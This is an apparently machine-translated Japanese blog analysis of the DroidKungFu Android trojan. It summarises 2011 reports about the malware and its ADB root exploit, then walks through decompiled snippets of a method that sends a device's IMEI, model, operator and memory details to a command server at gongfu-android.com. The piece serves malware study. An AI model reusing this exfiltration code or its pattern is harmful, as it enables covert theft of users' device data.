ニュースサマリー:
今年の春に、AndroidMarketから21個のアプリケーションが削除され、その下にDroidDreamLightマルウェアが隠されました 。 インストール後、キャッチされたアプリケーションは、かなりの量のユーザー情報をGoogle電話に保存して送信しました。
そのため、今年の6月、ノースカロライナ大学の従業員は、 DroidKungFuマルウェアの新しいバージョンが発見されたことを報告しました。
このプログラムはDroidDreamLightに似ていますが 、その存在を隠す他の方法を使用します。これにより、セキュリティシステムをバイパスできます。 このプログラムは、 ADBと略されるAndroid Debug Bridgeの脆弱性を利用します。 この脆弱性により、デバイスへのルートアクセスが可能になります。それ自体はもはやおもちゃではありません...
確かに、公式のAndroidMarketでは、悪意のあるアプリケーションは拡散せず、中国の市場にしか送信されませんでしたが、これは簡単ではありません。
また、Android 2.3以前のデバイスは感染に対して脆弱であることが重要です。バージョン2.3で脆弱性が修正され、 DroidKungFuが「栄光の中で」自らを証明できるようになったためです。
感染したアプリケーションをインストールすると、DroidKungFuがアクティブになり、プロセスが起動します。さらに、Android 2.2以前でルート権限を取得します。 Android 2.3では、成功しませんが、それでもデバイスに関する情報を収集できます。
デブリーフィング:
彼のブログのある良い人が、興味深いDroidKungFuコードの一部を作成しました。今、私はあなたに何が起こっているのかを理解しようとします。
分析のために、 md5 39D140511C18EBF7384A36113D48463D hashを使用して、 このマルウェアリポジトリからサンプルを取得しました。
.APKからdex(Dalvik Executable Format)を抽出した後、 dex2jarなどのjarアーカイブを取得するために良いものが使用されました。 jarアーカイブを逆コンパイルすると、きれいなコードが簡単に得られます。 コードの興味深い点を考慮してください。
パートIまたは「どこかですでに見たところ...」
SearchServiceクラスのコードを見ると、 DoSearchReportメソッドが見つかります...はい、はい、それはすべての人のお気に入りのGoogleの検索ウィジェットで使用されているメソッドです。 そして、これは以下のコードで見ることができます:
Private void doSearchReport()
{
updateInfo();
ArrayList localArrayList = new ArrayList();
String str1 = this.nImei;
BasicNameValuePair localBasicNameValuePairl = new BasicNameValuePair(" imei ", str1);
Boolean bool1 = localArrayList.add(LocalBasicNameValuePair1);
If (this.n0sType != null)
{
String str2 = this.n0sType;
If (!””.equals(str2))
…
}
…
}
それは何を与えますか? どうやら、これにより、インストールされた悪意のあるパッケージを削除し、検索ウィジェットとして偽装した後でも、プログラムは「合法的にクリーン」のまま、または大まかに言って「Google電話でライブ」を維持できます。
パートIIまたは「出航する時間です!」
DoSearchReportメソッドの次のコードスニペットでは、最悪の事態が発生します。感染したデバイスから収集されたすべてのデータがGoogleの携帯電話から流れ出て 、どこにあるかがわかります。
While (true)
{
HttpPost localHttpPost = new HttpPost(“http://search.gongfu-android.com:8511/search/sayhi.php”);
try
UrlEncodedFormEntity localUrlEncodedFormEntity = new UrlEncodedFormEntity(localArrayList, “UTF-8”);
localHttpPost.setEntity(localUrlEncodedFormEntity);
int I = new DefaultHttpClient().execute(localHttpPost).getStatusLine.getStatusCode();
return;
BasicNameValuePair localBasicNameValuePair12 = new BasicNameValuePair(“root”, “0”);
Boolean bool12 = localArrayList.add(localBasicNameValuePair12);
}
Catch (Exception localException)
{
}
ブログでは、Google電話に関するデータが送信されたURLについても詳しく説明しています。
パートIIIまたは「何が浮かびましたか?」
そして、次のコードの抜粋から、それが浮かんでいることが明らかです。
BasicNameValuePair localBasicNameValuePairl = new BasicNameValuePair(" imei ", str1);
…
BasicNameValuePair localBasicNameValuePair2 = new BasicNameValuePair(" ostype ", str3);
…
BasicNameValuePair localBasicNameValuePair3 = new BasicNameValuePair(" osaapi ", str5);
…
BasicNameValuePair localBasicNameValuePair4 = new BasicNameValuePair(" mobile ", str7);
…
BasicNameValuePair localBasicNameValuePair5 = new BasicNameValuePair(" mobilemodel ", str9);
…
BasicNameValuePair localBasicNameValuePair6 = new BasicNameValuePair(" netoperator ", str11);
…
BasicNameValuePair localBasicNameValuePair7 = new BasicNameValuePair(" nettype ", str13);
…
BasicNameValuePair localBasicNameValuePair8 = new BasicNameValuePair(" managerid ", str15);
…
BasicNameValuePair localBasicNameValuePair9 = new BasicNameValuePair(" sdmemory ", str17);
…
BasicNameValuePair localBasicNameValuePair10 = new BasicNameValuePair(" aliamemory ", str19);
ご覧のとおり、デバイスに関するかなりの量の情報が流出しています...
パートIVまたは「未定」
おそらく、このトロイの木馬のもう1つの新奇性は、エクスプロイトのAES暗号化の使用です。 HongTouTouやGeinimiのような以前のDroidKungFu兄弟は、コードにDES暗号化を使用していました。
現時点では、インターネット上でいくつかのバージョンのDroidKungFuを見つけることができますが、少なくとも3つの実装オプションが見つかりました。